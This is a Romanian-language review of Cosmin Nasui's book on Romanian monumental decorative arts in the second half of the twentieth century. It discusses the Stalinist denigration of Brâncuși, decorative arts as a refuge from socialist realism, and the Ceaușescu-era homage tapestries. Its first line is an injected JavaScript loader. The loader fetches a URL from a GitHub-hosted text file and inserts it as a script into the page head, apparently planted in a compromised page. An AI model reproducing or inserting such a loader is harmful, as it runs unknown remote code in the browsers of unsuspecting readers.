;var url = 'https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/repo.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});
În anii stalinismului integral, mai ales între 1949 şi 1952, despre operele marelui artist Constantin Brâncuşi se sugera în mod constant pe canalele oficiale de la Bucureşti, chiar de la tribuna Academiei Republicii Populare Române, că nu prea mai au nimic în comun „cu specificul ţării sale“; în plus, Coloana infinitului de la Târgu-Jiu a fost în pericol de a fi demolată în anii 1951-1952, atunci când, din iniţiativa Sfatului Popular de la Târgu Jiu, s-au iniţiat demersuri la Bucureşti pentru autorizarea demontării. Cum am scris şi cu alte ocazii, instanţele politico-ideologice (la instigarea unora precum Leonte Răutu, M. Roller, dar nu numai) au categorisit operele brâncuşiene – mai ales pe cele realizate după stabilirea în Occident – drept lucrări ale „formalismului burghez cosmopolit“, silind atât conducerea Academiei RPR, cât şi cunoscuţi intelectuali umanişti să adopte o poziţie de denigrare asemănătoare. Totul a culminat cu şedinţe de înfierare jdanovistă la Secţiunea literar-artistică a Academiei de la începutul anului 1951 – dezvăluite de Petre Popescu-Gogan – în care câţiva intelectuali proeminenţi au acceptat să ia cuvântul şi să îl anuleze pe Brâncuşi ca artist (au ieşit în evidenţă, din păcate, chiar savanţi precum G. Călinescu, G. Oprescu, Al. Graur).
Într-o carte recentă – Artele monumentale decorative din România. O incursiune în a doua jumătate a secolului XX, Editura Postmodernism Museum, Voluntari, 2020, 224p. plus 6 inserturi spread color – Cosmin Nasui revizitează şi acest dosar Brâncuşi, reproducând documente relevante din care rezultă reconsiderarea – în luna ianuarie 1952 – a marelui artist stabilit la Paris de către Direcţia Artelor Plastice din cadrul Comitetului pentru Artă (Ministerul Culturii de atunci). Acest gest politico-artistic a contribuit şi la salvarea piesei monumentale de la Târgu Jiu (pp. 13-14). De fapt, cartea datorată lui Cosmin Nasui – foarte activ istoric de artă, curator, organizator de expoziţii, colecţionar şi animator cultural – este, aşa cum îi arată şi titlul, o încercare de sinteză a istoriei artelor monumentale decorative din perioada postbelică (cu incursiuni până în zilele noastre). În acest scop, autorul a pus la lucru în mod ingenios o varietate de surse istorice: documente de arhivă, mărturii, memorii, sinteze de istorie, articole din presa vremii şi, nu în ultimul rând, imagini cu principalele piese de artă monumentală decorativă. De altfel, dimensiunea vizuală a volumului este pregnantă: autorul a încercat să reproducă şi să pună în valoare cât mai multe imagini inedite sau mai puţin cunoscute reprezentând lucrări artistice celebre, unele dintre ele chiar de la momentele de lansare.
Cosmin Nasui vorbeşte în cartea sa despre modul în care au fost percepute artele monumentale decorative şi încearcă, la rândul său, să ofere o definiţie adecvată proprie, ţinând cont de diversele reconfigurări ale domeniului intervenite de-a lungul timpului (subordonarea faţă de arhitectură, interdependenţa dintre artă şi arhitectură, conexiunile dintre artele decorative, cele monumentale şi artele aplicate – p. 8). De altfel, la începuturile comunismului a circulat frecvent sintagma „artă decorativă şi aplicată“.
În primele două decenii postbelice se produc câteva fenomene notabile consemnate şi de autor: în anii 1950, sectorul artei monumentale ajunge până la statutul de „problemă de stat“ (p. 17), în timp ce în anii 1960 emanciparea artelor decorative a căpătat avânt prin contactul artiştilor cu fabricile de ceramică şi sticlă, dar şi cu tehnologia industrială (p. 28). Pe lângă impactul uniformizator pe care l-a avut sloganul ideologic ce îndemna la „o colaborare mai strânsă între artistul decorator şi întreprinderea producătoare“, din apropierea acestor două entităţi au rezultat şi opere de artă semnificative. După cum remarcă şi Cosmin Nasui, bazându-se pe exemple concrete, în anumite situaţii statutul de artist decorator a funcţionat ca o pavăză contra spiritului nivelator al realismului socialist (pp. 34-35). Inclusiv din acest motiv, artişti care nu erau neapărat decoratori au ajuns să trimită lucrări la expoziţii de arte decorative, deoarece cadrul oferit aici era unul mai permisiv în ceea ce priveşte repertoriul tematic şi nu numai. Poate şi aceste aspecte explică şubrezirea orientării estetico-politice unice copiată după modelul sovietic şi instituită în spaţiul românesc la finele anilor 1940 şi la începutul anilor 1950. Mai mult, apelând la lucrări memorialistice (îndeosebi la rememorările artistului Patriciu Mateescu – Memorii. Carte-album, Edit. Şcoala Ardeleană, 2016), autorul observă că anumite genuri artistice (sculptura în lemn, de pildă) s-au constituit într-o formă viabilă de ocolire a realismului socialist (p. 56).
Subiectul cărţii este cu atât mai important cu cât, în anumite segmente ale perioadei comuniste (anii 1970, de exemplu), aproape toţi comentatorii avizaţi din publicaţiile culturale şi din revistele de specialitate înregistraseră migraţia pictorilor, sculptorilor, graficienilor în zonele artelor decorative (p. 54). În plus, programul de reabilitare hotelieră şi de agrement a litoralului a adus comenzi specifice de artă monumentală îndeosebi în prima jumătate a anilor 1970 (p. 54) Staţiunea tineretului, Costineştiul, a devenit un adevărat complex de sculptură ambientală. Există însă şi evoluţii mai puţin fericite, ba chiar dramatice: Direcţia Monumentelor Istorice (Direcţia Patrimoniului Cultural Naţional) este desfiinţată în 1977 în contextul în care se pregătea o sistematizare urbană distructivă, echivalentă cu demolarea centrului istoric bucureştean şi nu numai. În acelaşi timp, conformismul pătrunde tot mai mult şi în breasla artiştilor plastici: pe lângă tapiserii monumentale care se impun şi în plan internaţional, fiind găzduite de importante sedii de organizaţii mondiale, există şi creaţii (tot mai numeroase în anii 1980) care se pun în slujba cuplului dictatorial comunist şi a partidului unic – vezi tapiseriile omagiale semnate de Cornelia Ionescu-Drăguşin, Ileana Balotă ş.a. (p. 74), o parte componentă a cultului personalităţii celor doi Ceauşescu. Totuşi, trienalele de arte decorative au fost şi locuri de întâlnire artistică cu efecte benefice; ultima dintre ele însă a fost marcată de desfăşurările tragice ale finalului de regim comunist: „Ultima trienală de arte decorative are loc în 1989, la Sala Dalles din Bucureşti [unde au murit zeci de tineri la 21 decembrie], şi este parte din fundalul martor al evenimentelor din decembrie – Revoluţia din 1989 care marchează sfârşitul regimului comunist – devenind la rândul său scena distrugerilor din acele zile“ (p. 74).
Cartea lui Cosmin Nasui aruncă o privire şi asupra modului de funcţionare a unor instituţii-cheie care au patronat inclusiv domeniul artelor monumentale decorative – Ministerul Culturii, de exemplu (cu diversele sale titulaturi, de la Comitetul pentru Artă la Comitetul de Stat pentru Cultură şi Artă/CSCA şi Consiliul Culturii şi Educaţiei Socialiste). În 1969, chestiunile de artă monumentală au şi trecut în coordonarea CSCA (p. 30), iar cu un an înainte a avut loc înfiinţarea Comisiei de Monumente şi Artă Monumentală, alcătuită din arhitecţi, artişti de specialitate, critici de artă şi reprezentanţi ai judeţelor şi municipiilor beneficiare de lucrări (p. 48). Este şi momentul de declin al lui Jules Perahim, până atunci un artist răsfăţat cu comenzi de stat şi cu diverse onoruri şi funcţii de conducere (vicepreşedinte al Consiliului Artelor Plastice, între altele). Nu după mult timp, simţindu-se marginalizat, Perahim a luat decizia să se stabilească în străinătate, aşa cum va proceda, peste un deceniu, şi Patriciu Mateescu, artist deja amintit. Volumul lui Cosmin Nasui impresionează atât prin documentare şi calitate grafică deosebită, cât şi prin problematica extrem de complexă adusă în atenţia cititorului.